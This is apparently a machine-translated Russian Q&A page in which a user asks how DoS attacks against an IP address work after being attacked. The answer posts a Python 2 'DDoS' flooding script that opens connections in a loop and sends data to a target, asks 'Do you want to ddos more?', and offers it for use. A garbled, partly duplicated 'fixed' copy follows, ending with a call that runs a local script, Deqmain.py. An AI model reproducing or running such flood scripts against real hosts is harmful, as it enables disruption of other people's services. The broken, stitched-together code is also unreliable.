Python - отправка запросов в интернет-протокол
Ну, я недавно подвергся нападению со стороны DoS, и мне нужно кое-что понять.
Я знаю, что если кто-то запускает атаку на HTTP-сервер, он или она отправляет HTTP-запросы, чтобы установить время ожидания соединения, и заставить сервер работать. Мои вопросы касаются DoS-атакующих, которые атакуют адрес интернет-протокола. Какие пакеты они отправят? Я хочу посмотреть, как это делается в коде.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 80)) #Hopefully port 80 is an open port
s.send("Some sort of packet that would request the server to do 'work'")
И после этого вопроса, как атакующий может атаковать вас, если все порты закрыты? (брандмауэр) Вместо этого они переключатся на протокол UDP и будут проходить через него? Потому что простого использования пакета соединения (s.connect) будет недостаточно для хорошей атаки DoS.
Мой вопрос в значительной степени. Как DoS'ы так хорошо заполняют соединения на IP-сервере и почему? Если я запутался, пожалуйста, покажи мне, почему.
2 ответа
import time, socket, os, sys, string
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="127.0.0.1"
port=80
message="+---------------------------+"
conn=100
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"
нашел этот код из: Получение ошибки при запуске моего сценария Python ddos
исправлено несколько ошибок..
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, 80))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
os.system(curdir+"Deqmain.py")
HOPE THIS HELPS!